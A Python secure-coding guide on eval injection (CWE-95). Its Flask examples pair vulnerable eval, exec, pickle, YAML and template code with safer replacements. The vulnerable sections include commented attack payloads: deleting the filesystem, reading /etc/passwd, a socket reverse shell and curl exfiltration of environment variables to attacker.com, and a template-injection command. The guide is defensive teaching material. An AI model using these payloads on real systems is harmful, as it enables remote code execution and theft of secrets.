CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - Python
Overview
In Python applications, CWE-95 vulnerabilities occur when untrusted input is passed to dynamic code execution functions like eval(), exec(), compile(), __import__(), or similar constructs. Untrusted input can originate from HTTP requests, external APIs, databases, files, message queues, or any source outside the application's control. Each of these functions executes whatever Python code it is handed, with the full privileges of the application process.
Primary Defence: Never use eval() or exec() with user input; use safe alternatives like json.loads() for JSON data, ast.literal_eval() only for small Python literals, purpose-built math expression parsers with allowlisted operations instead of eval, configuration parsers (YAML/TOML/JSON) instead of Python code for config, and JSON or typed serializers instead of pickle for untrusted data. Validate input size and structure as defense in depth.
An attacker who reaches one of these calls controls the interpreter. The payloads in the sections below import modules, read files, run system commands through os.system() or subprocess, exfiltrate environment variables, and open a reverse shell back to the attacker.
Common scenarios include: accepting mathematical expressions and evaluating them with eval(), using exec() to dynamically execute configuration or plugin code, deserializing untrusted data with pickle, using __import__() based on untrusted input, and dynamically constructing code strings from untrusted input. Even seemingly safe uses of eval() with "trusted" input can be exploited through second-order injections or supply chain attacks.
The secure patterns below replace each of those calls with something that parses data instead of running it: an AST-based expression evaluator, an operator map, configuration parsers, an allowlisted plugin loader, JSON deserialization, and a template compiled from source.
Common Vulnerable Patterns
Direct eval() on Untrusted Input
# VULNERABLE - Direct evaluation of untrusted input
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/calculate', methods=['POST'])
def calculate():
expression = request.json.get('expression')
# CRITICAL VULNERABILITY - eval executes arbitrary code
result = eval(expression)
return jsonify({'result': result})
# Attack examples:
# {"expression": "__import__('os').system('rm -rf /')"}
# {"expression": "__import__('os').popen('cat /etc/passwd').read()"}
# {"expression": "open('/etc/passwd').read()"}
# {"expression": "__import__('subprocess').check_output(['whoami'])"}
# All of these execute with full application privileges!
Why this is vulnerable: eval() accepts only an expression, which is often mistaken for a limit. It is not: __import__('os').system(...) is an expression, and so is every attack listed above.
The usual first repair does not work either. Passing {'__builtins__': {}} removes the obvious names and leaves the object graph, and ().__class__.__base__.__subclasses__() walks from an empty tuple to every loaded class - including ones that open files and start processes. Python has no supported way to evaluate an untrusted expression safely in-process, which is why the fix is a parser rather than a restriction.
exec() for Dynamic Code Execution
# VULNERABLE - Using exec() with untrusted code
from flask import Flask, request
app = Flask(__name__)
@app.route('/run-script', methods=['POST'])
def run_script():
script = request.json.get('script')
user_context = {}
# CRITICAL VULNERABILITY - exec runs arbitrary Python code
exec(script, user_context)
return {'output': user_context.get('result', 'No result')}
# Attack example:
# {
# "script": "import os; result = os.popen('ls -la /').read()"
# }
# Attacker gains full file system access!
# More sophisticated attack:
# {
# "script": """
# import socket, subprocess, os
# s = socket.socket()
# s.connect(('attacker.com', 4444))
# os.dup2(s.fileno(), 0)
# os.dup2(s.fileno(), 1)
# subprocess.call(['/bin/sh', '-i'])
# """
# }
# Establishes reverse shell to attacker!
Why this is vulnerable: The user_context dictionary reads as a sandbox and is not one. When exec() is given a globals mapping with no __builtins__ key, it inserts a reference to the real builtins module automatically, so the empty dict starts fully populated. Its actual purpose is to keep the executed code from polluting the caller's namespace, which is a hygiene feature.
exec() also takes statements rather than a single expression, so import is available directly and the payload does not need __import__ at all.
Unsafe compile() and Code Objects
# VULNERABLE - Compiling and executing user code
from flask import Flask, request
app = Flask(__name__)
@app.route('/compile-run', methods=['POST'])
def compile_run():
code_string = request.json.get('code')
# CRITICAL VULNERABILITY - compile + eval executes arbitrary code
code_obj = compile(code_string, '<string>', 'eval')
result = eval(code_obj)
return {'result': str(result)}
# Attack example:
# {"code": "__import__('os').system('curl http://attacker.com?data=$(env)')"}
# Exfiltrates all environment variables including secrets!
Why this is vulnerable: Splitting eval() into compile() then eval() changes when parsing happens and nothing else - the resulting code object runs with the same access. The 'eval' mode argument looks like a restriction because it rejects statements, but it accepts the same expression grammar that makes the plain eval() case exploitable.
Compilation is worth one separate note: it happens before execution, so a payload can consume memory and stack in the parser without the code ever running. Deeply nested literals are enough to take the process down.
Dynamic Import with __import__()
# VULNERABLE - Dynamic imports based on untrusted input
from flask import Flask, request
app = Flask(__name__)
@app.route('/load-plugin', methods=['POST'])
def load_plugin():
plugin_name = request.json.get('plugin')
# CRITICAL VULNERABILITY - arbitrary module import
module = __import__(plugin_name)
result = module.execute()
return {'result': result}
# Attack examples:
# {"plugin": "os"} then access os.system()
# {"plugin": "subprocess"} then execute commands
# {"plugin": "__main__"} then access application internals
# Attacker can import and use any Python module!
Why this is vulnerable: Importing a module executes its top-level code, so the import is the execution and there is no gap in which to validate the result. Whether module.execute() exists afterwards is beside the point.
The name is resolved against sys.path, which is the second half of the problem. That list includes the script's own directory, so an attacker who can write a file anywhere on it chooses which code runs - and a name shadowing a real module is loaded in preference to it. An allowlist of permitted plugin names, checked before the call, is the fix.
Unsafe pickle/yaml Deserialization
# VULNERABLE - Deserializing untrusted data
from flask import Flask, request
import pickle
import yaml
app = Flask(__name__)
@app.route('/load-data', methods=['POST'])
def load_data():
data = request.data
# CRITICAL VULNERABILITY - pickle can execute arbitrary code during deserialization
obj = pickle.loads(data)
return {'loaded': str(obj)}
# Attack: Craft malicious pickle payload
# import pickle, os
# class Exploit:
# def __reduce__(self):
# return (os.system, ('curl http://attacker.com?pwned=1',))
# payload = pickle.dumps(Exploit())
# Sends payload to /load-data endpoint
@app.route('/load-config', methods=['POST'])
def load_config():
config_yaml = request.data.decode()
# CRITICAL VULNERABILITY - yaml.load can execute Python code
config = yaml.load(config_yaml, Loader=yaml.Loader)
return {'config': config}
# Attack: YAML with Python object constructor
# !!python/object/apply:os.system ['whoami']
# Executes arbitrary system commands!
Why this is vulnerable: Both formats are richer than the data they appear to carry. The pickle protocol includes an opcode for calling a callable, which __reduce__ exists to populate, so execution during a load is the format working as designed - the Python documentation says so at the top of the module page. There is no safe-loading option to reach for.
YAML does have one. yaml.load() with Loader=yaml.Loader enables the Python-specific tags that construct arbitrary objects; yaml.safe_load() restricts the parser to plain YAML types and is the fix. Under PyYAML 6 the Loader argument is mandatory, so the bare yaml.load(data) that used to default to the unsafe loader now raises TypeError rather than running. That is worth knowing during triage, because the usual way the call gets "fixed" under an upgrade is by adding Loader=yaml.Loader, which restores exactly the behaviour the mandatory argument was meant to stop.
String Formatting with Format Strings
# VULNERABLE - The format template comes from the request
from flask import Flask, request
app = Flask(__name__)
secret_api_key = "sk-1234567890abcdef"
class User:
def __init__(self, name, email):
self.name = name
self.email = email
@app.route('/format-message', methods=['POST'])
def format_message():
template = request.json.get('template')
user = User(request.json.get('name', 'User'), 'user@example.com')
# VULNERABILITY - the template is the code here, and it can walk
# attributes off any object it is handed
message = template.format(user=user)
return {'message': message}
# Attack example:
# {"template": "{user.__init__.__globals__[secret_api_key]}"}
# Returns sk-1234567890abcdef - User.__init__ is a Python function, so it
# carries __globals__, which is this module's namespace.
#
# {"template": "{user.__class__.__mro__[1]}"}
# Walks the class graph. It stops at reading, though: format's field syntax
# has no call form, so it cannot go on to invoke what it finds.
Why this is vulnerable: This one is worth stating precisely, because the section sits under a code-execution CWE and the honest reading is narrower. str.format() interprets the template as a small language of its own, and that language includes attribute access - so a caller controlling the template can follow .__init__.__globals__ from an argument back to the module namespace where that argument's class was defined, and read whatever it holds. Here that is secret_api_key. The argument has to be an instance of a class written in Python: on a str or an int, __init__ is a C slot wrapper with no __globals__, so a handler that passes only strings raises AttributeError rather than leaking.
What it gives is disclosure and object-graph traversal, not direct execution: format() reads attributes and indexes, and its field syntax has no call form at all - {x.__subclasses__()} is read as an attribute literally named __subclasses__() and fails. Reaching execution takes a second step outside format(), using whatever the traversal disclosed. The fix is the same either way - the template is code, so it comes from your source and only the values come from the request. f-strings are not an alternative for this: they are evaluated where they are written, so a template arriving at runtime cannot be one.
Secure Patterns
AST-based Safe Expression Evaluation
# SECURE - Using AST to safely parse and evaluate math expressions
from flask import Flask, request, jsonify
import ast
import operator
app = Flask(__name__)
class SafeMathEvaluator(ast.NodeVisitor):
"""Safely evaluate mathematical expressions without code execution"""
# Allowlist of safe operators
SAFE_OPERATORS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
ast.Pow: operator.pow,
ast.Mod: operator.mod,
ast.USub: operator.neg,
ast.UAdd: operator.pos,
}
# Allowlist of safe functions
SAFE_FUNCTIONS = {
'abs': abs,
'min': min,
'max': max,
'round': round,
}
# Exponentiation is the one allowlisted operator that turns a short
# expression into unbounded work, and bounding the exponent alone is not
# enough - see _check_pow below.
MAX_EXPONENT = 100
MAX_RESULT_BITS = 4096
def eval_expr(self, expr_string: str):
"""Safely evaluate a mathematical expression"""
try:
# Parse the expression into an AST
tree = ast.parse(expr_string, mode='eval')
return self.visit(tree.body)
except (SyntaxError, ValueError, TypeError,
ZeroDivisionError, OverflowError) as e:
raise ValueError(f"Invalid expression: {e}")
def visit_BinOp(self, node):
"""Handle binary operations (+, -, *, /, etc.)"""
if type(node.op) not in self.SAFE_OPERATORS:
raise ValueError(f"Unsafe operator: {node.op.__class__.__name__}")
left = self.visit(node.left)
right = self.visit(node.right)
if isinstance(node.op, ast.Pow):
self._check_pow(left, right)
op_func = self.SAFE_OPERATORS[type(node.op)]
return self._check_size(op_func(left, right))
def visit_UnaryOp(self, node):
"""Handle unary operations (-, +)"""
if type(node.op) not in self.SAFE_OPERATORS:
raise ValueError(f"Unsafe operator: {node.op.__class__.__name__}")
operand = self.visit(node.operand)
op_func = self.SAFE_OPERATORS[type(node.op)]
return op_func(operand)
def visit_Constant(self, node):
"""Handle constants (Python 3.8+)"""
if isinstance(node.value, (int, float)):
return node.value
raise ValueError(f"Unsafe constant type: {type(node.value)}")
def visit_Call(self, node):
"""Handle function calls (only allowlisted functions)"""
if not isinstance(node.func, ast.Name):
raise ValueError("Only simple function calls allowed")
# round(1.5, ndigits=2) would otherwise be evaluated as round(1.5)
if node.keywords:
raise ValueError("Keyword arguments are not allowed")
func_name = node.func.id
if func_name not in self.SAFE_FUNCTIONS:
raise ValueError(f"Unsafe function: {func_name}")
args = [self.visit(arg) for arg in node.args]
func = self.SAFE_FUNCTIONS[func_name]
return self._check_size(func(*args))
def _check_pow(self, base, exponent):
"""Reject an exponentiation before computing it, not after"""
if abs(exponent) > self.MAX_EXPONENT:
raise ValueError("Exponent too large")
# base ** exponent is about bit_length(base) * exponent bits wide.
# Checking that here is what stops a chain of allowlisted powers:
# in ((9**99)**99)**99 every exponent is 99, but each base is the
# previous result, so the width multiplies at every step.
if isinstance(base, int) and isinstance(exponent, int) and exponent > 0:
if base.bit_length() * exponent > self.MAX_RESULT_BITS:
raise ValueError("Result too large")
def _check_size(self, value):
"""Bound every intermediate result, not just exponentiations"""
if isinstance(value, int) and value.bit_length() > self.MAX_RESULT_BITS:
raise ValueError("Result too large")
return value
def generic_visit(self, node):
"""Reject any AST node types not explicitly allowed"""
raise ValueError(f"Unsafe expression type: {node.__class__.__name__}")
@app.route('/calculate', methods=['POST'])
def calculate():
expression = request.json.get('expression')
if not expression or not isinstance(expression, str):
return jsonify({'error': 'Invalid expression'}), 400
# Limit expression length to prevent DoS
if len(expression) > 200:
return jsonify({'error': 'Expression too long'}), 400
try:
evaluator = SafeMathEvaluator()
result = evaluator.eval_expr(expression)
return jsonify({'result': result})
except ValueError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
# Log server-side, return generic error
app.logger.error(f'Calculation error: {e}', exc_info=True)
return jsonify({'error': 'Calculation failed'}), 500
# Safe to use with expressions like:
# "2 + 2"
# "3 * 4 + 5"
# "abs(-10)"
# "max(1, 2, 3) + min(4, 5)"
# Safely rejects dangerous inputs:
# "__import__('os').system('whoami')" → ValueError: Only simple function calls allowed
# "eval('malicious code')" → ValueError: Unsafe function
# "exec('print(1)')" → ValueError: Unsafe function
# "().__class__" → ValueError: Unsafe expression type: Attribute
# "9**999999999999999999999999" → ValueError: Exponent too large
# "((9**99)**99)**99" → ValueError: Result too large
Why this works
ast.parse() separates parsing from execution. The expression becomes a tree the application can inspect before any of it runs, where eval() would already have run it. SafeMathEvaluator implements visit methods for four node types only - BinOp, UnaryOp, Constant and Call - so every other node reaches generic_visit() and raises, which is what rejects imports, attribute access and function definitions.
Two allowlists sit under that. SAFE_OPERATORS maps AST operator nodes to functions from the operator module, so only basic arithmetic runs; SAFE_FUNCTIONS holds the four builtins a calculator needs, and visit_Call checks the name against it before calling anything. __import__(), open() and exec() are in neither, so a payload naming them is rejected at the node that would have called it.
Allowlisting the syntax does not by itself bound the work the expression asks for, which is why the size checks are there and not an optional extra. 9**999999999999999999999999 contains nothing unsafe - every node in it is on the allowlist - and it will still take the process down.
Bounding the exponent alone does not close that, and this is the part worth reading twice. In ((9**99)**99)**99 every exponent is 99, so a MAX_EXPONENT test passes at all three levels; the base is the previous result, so the width of the number multiplies at each step. Measured on CPython 3.13, that 17-character expression builds a 3-million-bit integer in 0.2 s and the 23-character (((9**99)**99)**99)**99 builds a 36 MB one in 284 s - both well inside the 200-character cap the route applies, which leaves room for about 33 levels. _check_pow therefore estimates the width of the result from the width of the base before computing it, and _check_size bounds every intermediate value so the same trick cannot be assembled out of multiplications instead. Any operator you add that can grow its output faster than its input needs the same treatment.
Compared with eval() under a restricted __builtins__, this works at the syntax level rather than trying to fence off a live runtime. Restricted globals can be escaped through constructor chains such as ().__class__.__bases__[0].__subclasses__(); AST validation rejects that as an attribute node before the interpreter evaluates anything. Extending the evaluator means adding to the allowlists, and each addition joins the trusted evaluator surface.
Operator Mapping with Explicit Allowlist
# SECURE - Using dictionary mapping instead of dynamic execution
from flask import Flask, request, jsonify
from typing import Callable, Dict, Any
app = Flask(__name__)
class SafeOperationHandler:
"""Handle user-requested operations through explicit mapping"""
def __init__(self):
# Explicit allowlist of safe operations
self.operations: Dict[str, Callable] = {
'add': self.add,
'subtract': self.subtract,
'multiply': self.multiply,
'divide': self.divide,
'power': self.power,
}
def add(self, a: float, b: float) -> float:
return a + b
def subtract(self, a: float, b: float) -> float:
return a - b
def multiply(self, a: float, b: float) -> float:
return a * b
def divide(self, a: float, b: float) -> float:
if b == 0:
raise ValueError("Division by zero")
return a / b
def power(self, a: float, b: float) -> float:
# Limit exponent to prevent DoS
if abs(b) > 100:
raise ValueError("Exponent too large")
return a ** b
def execute(self, operation: str, a: Any, b: Any) -> float:
"""Execute operation if it's in the allowlist"""
# Validate operation is allowed
if operation not in self.operations:
raise ValueError(f"Invalid operation: {operation}")
# Validate and convert inputs
try:
a_num = float(a)
b_num = float(b)
except (ValueError, TypeError):
raise ValueError("Invalid numeric inputs")
# Execute the allowlisted operation
operation_func = self.operations[operation]
return operation_func(a_num, b_num)
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
operation = data.get('operation')
a = data.get('a')
b = data.get('b')
try:
handler = SafeOperationHandler()
result = handler.execute(operation, a, b)
return jsonify({'result': result})
except ValueError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
app.logger.error(f'Calculation error: {e}', exc_info=True)
return jsonify({'error': 'Calculation failed'}), 500
# Usage:
# POST /calculate {"operation": "add", "a": 5, "b": 3} → 8
# POST /calculate {"operation": "multiply", "a": 4, "b": 7} → 28
# Safely rejects:
# POST /calculate {"operation": "__import__('os').system('ls')", ...}
# → "Invalid operation" error, no code execution
Why this works
The untrusted string never becomes code here: it is a dictionary key. The operations dictionary maps names to bound methods, and execute() looks the name up rather than interpreting it, so __import__('os').system('ls') is a key that does not exist and the lookup raises before any operation runs.
The operands go through float() before they reach an operation, so a string, a list or a nested object either arrives as a number or is rejected. Each operation then carries its own check: divide rejects a zero divisor, and power caps the exponent so one request cannot ask for an arbitrarily large computation. Keeping those checks beside the operation they belong to leaves each one auditable and unit-testable on its own.
Where eval() exposes the whole language, this exposes five arithmetic operations and nothing else, at the cost of a dictionary lookup and a call - there is no parsing or compilation step at all. It fits anything with a fixed menu of user-selectable operations, such as a calculator or a configuration-driven pipeline, and it grows by adding a dictionary entry and a method.
Configuration Parsing with Safe Libraries
# SECURE - Using safe configuration parsers instead of exec/eval
from flask import Flask, request, jsonify
import json
import configparser
import yaml
from typing import Dict, Any
app = Flask(__name__)
class SafeConfigLoader:
"""Safely load configuration without code execution"""
@staticmethod
def load_json_config(config_string: str) -> Dict[str, Any]:
"""Load JSON configuration (safe, no code execution)"""
try:
config = json.loads(config_string)
# Validate config structure
if not isinstance(config, dict):
raise ValueError("Config must be a dictionary")
# Validate all values are safe types
SafeConfigLoader._validate_safe_types(config)
return config
except json.JSONDecodeError as e:
raise ValueError(f"Invalid JSON: {e}")
@staticmethod
def load_yaml_config(config_string: str) -> Dict[str, Any]:
"""Load YAML configuration with SafeLoader (no code execution)"""
try:
# CRITICAL: Use SafeLoader, NOT Loader
config = yaml.load(config_string, Loader=yaml.SafeLoader)
# Validate config structure
if not isinstance(config, dict):
raise ValueError("Config must be a dictionary")
# Validate all values are safe types
SafeConfigLoader._validate_safe_types(config)
return config
except yaml.YAMLError as e:
raise ValueError(f"Invalid YAML: {e}")
@staticmethod
def load_ini_config(config_string: str) -> Dict[str, Dict[str, str]]:
"""Load INI configuration (safe, no code execution)"""
try:
config = configparser.ConfigParser()
config.read_string(config_string)
# Convert to dict
result = {
section: dict(config[section])
for section in config.sections()
}
return result
except configparser.Error as e:
raise ValueError(f"Invalid INI: {e}")
@staticmethod
def _validate_safe_types(obj: Any, depth: int = 0) -> None:
"""Recursively validate only safe types are present"""
# Prevent deeply nested structures (DoS protection)
if depth > 10:
raise ValueError("Configuration too deeply nested")
# Allowlist of safe types
safe_types = (str, int, float, bool, type(None))
if isinstance(obj, dict):
for key, value in obj.items():
if not isinstance(key, str):
raise ValueError(f"Dict keys must be strings, got {type(key)}")
SafeConfigLoader._validate_safe_types(value, depth + 1)
elif isinstance(obj, list):
for item in obj:
SafeConfigLoader._validate_safe_types(item, depth + 1)
elif not isinstance(obj, safe_types):
raise ValueError(f"Unsafe type in config: {type(obj)}")
@app.route('/load-config', methods=['POST'])
def load_config():
config_data = request.json.get('config')
config_format = request.json.get('format', 'json')
if not config_data or not isinstance(config_data, str):
return jsonify({'error': 'Invalid config data'}), 400
# Limit config size to prevent DoS
if len(config_data) > 1_000_000: # 1MB limit
return jsonify({'error': 'Config too large'}), 400
try:
loader = SafeConfigLoader()
if config_format == 'json':
config = loader.load_json_config(config_data)
elif config_format == 'yaml':
config = loader.load_yaml_config(config_data)
elif config_format == 'ini':
config = loader.load_ini_config(config_data)
else:
return jsonify({'error': 'Invalid format'}), 400
return jsonify({'config': config})
except ValueError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
app.logger.error(f'Config loading error: {e}', exc_info=True)
return jsonify({'error': 'Failed to load config'}), 500
# Safe configs:
# JSON: {"db_host": "localhost", "port": 5432}
# YAML: |
# database:
# host: localhost
# port: 5432
# Safely rejects dangerous configs:
# YAML with !!python/object: → SafeLoader blocks it
# JSON with executable code: → No way to inject code in JSON
Why this works
This pattern eliminates code injection during configuration loading by using libraries designed for safe data deserialization. Python's json module is inherently safe because JSON is a pure data format with no mechanism for encoding executable code or Python objects. The yaml.SafeLoader explicitly blocks YAML's dangerous features like arbitrary object instantiation through !!python/object tags, ensuring YAML files can only contain standard data types. ConfigParser similarly only handles key-value pairs as strings, preventing code execution. By validating that the resulting configuration contains only safe primitive types, the code ensures no malicious objects with dangerous __init__ or __del__ methods can be injected.
_validate_safe_types walks the whole parsed tree as defense in depth, and because it allowlists (only str, int, float, bool and None pass), a type nobody anticipated is rejected rather than carried into the application. Its depth limit stops deeply nested input from exhausting the recursion limit, and the 1 MB cap the route applies stops the same input from exhausting memory.
Loading configuration by exec()-ing a Python file is a common shortcut, and all three formats here replace it without the code execution. JSON is cross-language and suits flat settings; YAML carries nested structure and comments and is the friendlier one to hand-edit; INI covers simple key-value files. Never use pickle or yaml.load() with Loader=yaml.Loader for untrusted config data - these can execute arbitrary code during deserialization.
Plugin System with Controlled Imports
# SECURE - Controlled plugin loading with allowlist
from flask import Flask, request, jsonify
import importlib
from typing import Dict, Any, Protocol
app = Flask(__name__)
class PluginInterface(Protocol):
"""Protocol defining the required plugin interface"""
def execute(self, **kwargs) -> Dict[str, Any]:
"""Execute the plugin with given parameters"""
...
class SafePluginLoader:
"""Safely load and execute plugins from allowlist"""
def __init__(self):
# Explicit allowlist of approved plugins
self.allowed_plugins = {
'data_validator': 'plugins.validators.DataValidator',
'report_generator': 'plugins.reports.ReportGenerator',
'email_sender': 'plugins.email.EmailSender',
}
# Cache loaded plugins
self._plugin_cache: Dict[str, PluginInterface] = {}
def load_plugin(self, plugin_name: str) -> PluginInterface:
"""Load a plugin if it's in the allowlist"""
# Validate plugin name is in allowlist
if plugin_name not in self.allowed_plugins:
raise ValueError(f"Plugin not allowed: {plugin_name}")
# Check cache
if plugin_name in self._plugin_cache:
return self._plugin_cache[plugin_name]
# Get the full module path from allowlist
module_path = self.allowed_plugins[plugin_name]
try:
# Split module path and class name
module_name, class_name = module_path.rsplit('.', 1)
# Import the specific module (not untrusted!)
module = importlib.import_module(module_name)
# Get the specific class
plugin_class = getattr(module, class_name)
# Instantiate the plugin
plugin_instance = plugin_class()
# Validate it implements the interface
if not hasattr(plugin_instance, 'execute'):
raise ValueError("Plugin missing required execute method")
# Cache and return
self._plugin_cache[plugin_name] = plugin_instance
return plugin_instance
except (ImportError, AttributeError) as e:
raise ValueError(f"Failed to load plugin: {e}")
def execute_plugin(self, plugin_name: str, **kwargs) -> Dict[str, Any]:
"""Load and execute a plugin safely"""
plugin = self.load_plugin(plugin_name)
# Validate parameters
validated_kwargs = self._validate_parameters(kwargs)
# Execute plugin
return plugin.execute(**validated_kwargs)
@staticmethod
def _validate_parameters(params: Dict[str, Any]) -> Dict[str, Any]:
"""Validate plugin parameters are safe types"""
safe_types = (str, int, float, bool, type(None), list, dict)
validated = {}
for key, value in params.items():
if not isinstance(key, str):
raise ValueError("Parameter keys must be strings")
if not isinstance(value, safe_types):
raise ValueError(f"Unsafe parameter type: {type(value)}")
validated[key] = value
return validated
@app.route('/run-plugin', methods=['POST'])
def run_plugin():
plugin_name = request.json.get('plugin')
parameters = request.json.get('parameters', {})
if not plugin_name or not isinstance(plugin_name, str):
return jsonify({'error': 'Invalid plugin name'}), 400
if not isinstance(parameters, dict):
return jsonify({'error': 'Parameters must be a dictionary'}), 400
try:
loader = SafePluginLoader()
result = loader.execute_plugin(plugin_name, **parameters)
return jsonify({'result': result})
except ValueError as e:
return jsonify({'error': str(e)}), 400
except Exception as e:
app.logger.error(f'Plugin execution error: {e}', exc_info=True)
return jsonify({'error': 'Plugin execution failed'}), 500
# Usage:
# POST /run-plugin {
# "plugin": "data_validator",
# "parameters": {"data": "test"}
# } → Executes plugins.validators.DataValidator
# Safely rejects:
# POST /run-plugin {"plugin": "os.system"} → "Plugin not allowed" error
# POST /run-plugin {"plugin": "__import__"} → "Plugin not allowed" error
Why this works
This pattern eliminates import-based code injection by strictly controlling which modules can be loaded through an explicit allowlist. Instead of passing user-provided strings to __import__() or importlib.import_module(), the system maps user-facing plugin names to hardcoded module paths that developers have vetted. Attackers cannot import dangerous modules like os, subprocess, or sys because only the plugins explicitly registered in the allowed_plugins dictionary can be imported. The module paths are trusted constants defined at development time, not runtime values from external input.
Parameter validation restricts plugin inputs to safe primitive types, which matters because the plugin, not the loader, is where the values end up being used. PluginInterface is a Protocol (PEP 544), so plugins can be developed independently as long as they implement execute(); note that a Protocol is a static-typing construct with no runtime effect here, which is why load_plugin also checks hasattr(plugin_instance, 'execute') before returning.
The _plugin_cache is a performance optimisation and nothing more. It is worth saying plainly, because the opposite is often assumed: importlib.import_module consults sys.modules first, so a module's top-level code runs once per process whether the loader caches the instance or not - measured, three import_module calls on the same fresh module print its top-level output once. What the cache saves is the class lookup and construction, not a repeated import side effect.
Compare this to sanitizing a user-supplied module path. The allowlist is the stronger control because the untrusted string is only ever a key: it never reaches import_module, so there is no path syntax to get wrong. That is not the same as saying nothing can go wrong - an allowlisted plugin is still code you are choosing to run, and the surface is now that plugin's execute() and whatever its own module imports at load time. What the allowlist removes is the attacker's choice of which code, which is the part this CWE is about.
Safe Deserialization Alternatives
# SECURE - Safe alternatives to pickle deserialization
from flask import Flask, request, jsonify
import json
from typing import Any, Dict
from dataclasses import dataclass, asdict
import yaml
app = Flask(__name__)
@dataclass
class UserData:
"""Type-safe data class for user information"""
user_id: int
username: str
email: str
@classmethod
def from_dict(cls, data: Dict[str, Any]) -> 'UserData':
"""Safely construct from dictionary with validation"""
try:
return cls(
user_id=int(data['user_id']),
username=str(data['username']),
email=str(data['email'])
)
except (KeyError, ValueError, TypeError) as e:
raise ValueError(f"Invalid user data: {e}")
class SafeSerializer:
"""Safe serialization without code execution risks"""
@staticmethod
def serialize_to_json(obj: Any) -> str:
"""Serialize object to JSON (safe)"""
if hasattr(obj, '__dict__'):
# Convert to dict
obj = asdict(obj) if hasattr(obj, '__dataclass_fields__') else obj.__dict__
return json.dumps(obj)
@staticmethod
def deserialize_from_json(data: str, expected_class: type = None) -> Any:
"""Deserialize from JSON with optional type validation"""
try:
obj = json.loads(data)
if expected_class:
# Validate and construct typed object
if hasattr(expected_class, 'from_dict'):
return expected_class.from_dict(obj)
else:
raise ValueError("Class must implement from_dict method")
return obj
except json.JSONDecodeError as e:
raise ValueError(f"Invalid JSON: {e}")
@staticmethod
def deserialize_from_yaml_safe(data: str) -> Dict[str, Any]:
"""Deserialize YAML with SafeLoader (no code execution)"""
try:
# CRITICAL: SafeLoader, not Loader or UnsafeLoader
return yaml.load(data, Loader=yaml.SafeLoader)
except yaml.YAMLError as e:
raise ValueError(f"Invalid YAML: {e}")
@app.route('/save-user', methods=['POST'])
def save_user():
"""Safely serialize user data"""
user_data = request.json
try:
# Validate and construct typed object
user = UserData.from_dict(user_data)
# Serialize to JSON (safe)
serialized = SafeSerializer.serialize_to_json(user)
# Store serialized data (e.g., in database)
return jsonify({'saved': serialized})
except ValueError as e:
return jsonify({'error': str(e)}), 400
@app.route('/load-user', methods=['POST'])
def load_user():
"""Safely deserialize user data"""
serialized_data = request.json.get('data')
if not serialized_data or not isinstance(serialized_data, str):
return jsonify({'error': 'Invalid data'}), 400
try:
# Deserialize with type validation (safe)
user = SafeSerializer.deserialize_from_json(
serialized_data,
expected_class=UserData
)
return jsonify({'user': asdict(user)})
except ValueError as e:
return jsonify({'error': str(e)}), 400
# NEVER use pickle for untrusted data:
# pickle.loads(user_input) # VULNERABLE - deserializes arbitrary objects
# json.loads(user_input) # SECURE - data only
# yaml.safe_load(user_input) # SECURE - data only
Why this works
JSON replaces pickle here because JSON cannot encode a call and pickle can. The __reduce__ hook and the opcodes beside it name a callable and its arguments, so loading a crafted payload runs it. JSON carries strings, numbers, booleans, nulls, arrays and objects, and the json module builds the matching dict, list and str without running anything the sender chose.
UserData.from_dict is where the parsed dict becomes a typed object. It reads exactly the three fields the dataclass declares and converts each one, so a body carrying an unexpected type or a missing key raises ValueError instead of producing an object the rest of the code was not written for. The dataclass doubles as the schema, and its type hints let mypy check the construction at development time.
For applications that previously used pickle for session storage, caching, or inter-process communication, migrating to JSON is straightforward: it is readable in a debugger and portable to non-Python consumers, neither of which pickle is. YAML with SafeLoader gives the same safety with nested structures and comments. Where object graphs with circular references or custom classes have to survive the round trip, marshmallow or pydantic reconstruct them under validation. Never use pickle.loads() on untrusted data - it's fundamentally unsafe regardless of how carefully you validate the input.
Template Rendering with a Template From Source
# SECURE - the template is a constant; only the values come from the request
from flask import Flask, request, jsonify
from jinja2 import Environment
app = Flask(__name__)
# autoescape=True is what makes a value containing markup render as text.
# It is not the default for a bare Environment, only for Flask's own.
env = Environment(autoescape=True)
# Compiled once, at import time, from a string literal in this file. Nothing
# that arrives at runtime is ever compiled - request data reaches the template
# only as a render() argument.
MESSAGE_TEMPLATE = env.from_string("""
<div class="message">
<h2>{{ title }}</h2>
<p>{{ content }}</p>
<small>From: {{ author }}</small>
</div>
""")
@app.route('/render-message', methods=['POST'])
def render_message():
data = request.json
if not isinstance(data, dict):
return jsonify({'error': 'Body must be a JSON object'}), 400
# Bind exactly the three names the template uses. str() keeps a nested
# object or list out of the render rather than letting Jinja call
# __str__ on whatever the body happened to contain.
html = MESSAGE_TEMPLATE.render(
title=str(data.get('title', '')),
content=str(data.get('content', '')),
author=str(data.get('author', '')),
)
return jsonify({'html': html})
# POST /render-message {"title": "Hello", "content": "<script>alert(1)</script>"}
# renders <script>alert(1)</script> - escaped, not executed.
#
# POST /render-message {"content": "{{ config }}"}
# renders the characters {{ config }} verbatim. Jinja compiled the
# template at from_string(); a value substituted into the output is never
# parsed as template source, so there is nothing to reject and nothing to
# escape.
Why this works
The weakness this section is about is server-side template injection: a template that arrives with the request is code, and compiling it hands the caller the template language. Jinja2's reaches far enough to be an eval sink in the same sense eval() is - measured on Jinja2 3.1.6, a plain Environment renders {{ cycler.__init__.__globals__.os.popen('id').read() }} by running the command, with no attribute lookup the template author has to help with. So render_template_string(request.form['t']) is remote code execution, not an escaping problem. The fix is structural rather than a filter: the template is a literal in the source and only the values come from the request.
Once the template is fixed, a value cannot become template syntax. Jinja compiles a template to Python bytecode once, at from_string(); render() substitutes values into the already-compiled output and never re-parses it. That is why the {{ config }} case above needs no defence - it is not rejected or escaped, it simply renders as the characters the caller sent. Scanning submitted data for {{ is a control that protects nothing and gives the reader a false account of where the safety comes from.
Autoescaping is a separate property and worth being precise about, because it addresses XSS (CWE-79) rather than this CWE. A bare Environment() has autoescape=False; Flask's own app.jinja_env and render_template() enable it for .html templates, but an Environment you construct yourself does not inherit that. With it on, a value containing <script> renders as <script>.
